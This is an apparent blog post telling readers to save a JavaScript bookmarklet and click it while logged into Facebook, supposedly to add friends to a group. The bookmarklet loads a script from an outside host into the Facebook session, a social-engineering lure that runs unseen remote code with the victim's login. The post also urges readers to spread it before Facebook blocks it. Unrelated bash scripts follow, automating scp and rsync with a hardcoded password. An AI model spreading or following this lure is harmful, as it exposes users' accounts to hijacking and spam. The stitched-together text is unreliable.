FREE LOOK

Hello Friends..

Sorry for my inconsistency on FreeFileHouse,I was busy with my exams thats why didnt able to concentrate on blogging.
but belive me after my todays post you will forgive me for my inconsistency on blog posting.. :)

So,coming to the topic again today i will show you a cool java script by which you can easily able to increase your group members on facebook.This is really a cool javascript and i tried it on my group and got approx 150000 members in just one day..isnt it sounds cool..

So without taking much of your precious time..Here the process..
First of all Make Sure Bookmark Bar is
visible. If not visible then right click on the top of Firefox and select "Bookmarks Toolbar". & This will make Bookmark Bar visible.




For Google Chrome Users Simply Press Ctrl+Shift+B


Copy the following JavaScript & paste it on Bookmarks Toolbar as you can see in image below.
javascript:(function(){document.body.appendChild(document.createElement(script)).src=http://alviarman2009.my3gb.com/script.txt;})();






This will create a bookmark "javascript:(function(){" in the bookmark bar.




Log In to Facebook

And Go To any of the facebook group.

Now Click the Bookmark that you made..
This will start adding your friends in that Group




To get maximum members to your facebook group..Request all your group members or friends to do the same..


This JavaScript is tested successfully on browsers like mozila firefox and google chrome..and works fine on them.
if you are facing any problem with this javaScript Comment below..i will try my best to sort that out..

start adding your friends to groups before facebook block this script.. :)

enjoy!!

#!/bin/bash 
REMOTE_IP="x.x.x.x"
SCP_PASSWORD="mypassword"
expect -c " 
 set timeout 1
 spawn scp -r /Local/SourceFolder uname@$REMOTE_IP:/Remote/DestFolder
 expect yes/no { send yes ; exp_continue }
 expect password: { send $SCP_PASSWORD }
 expect 100%
 sleep 1
 exit
" 

$ chmod +x file.sh
$ ./file.sh

sudo apt-get install expect

#!/bin/bash 
REMOTE_IP="x.x.x.x"
SCP_PASSWORD="mypassword"
#And now transfer the file over
expect -c " 
 set timeout 1
 spawn rsync -azvv -e ssh /Local/SrcFolder uname@$REMOTE_IP:/Remote/DstFolder
 expect yes/no { send yes ; exp_continue }
 expect password: { send $SCP_PASSWORD }
 expect 100%
 sleep 1
 exit
" 

Refer this Ubuntu documentation for more details on rsync. Both the bash scripts mainly automate the rsync and scp transfer, so that password dont need to be supplied.

crontab -e

# m h dom mon dow command
0 * * * * cd /location/of/script;./autoscp.sh
30 * * * * cd /location/of/script;./autorsync.sh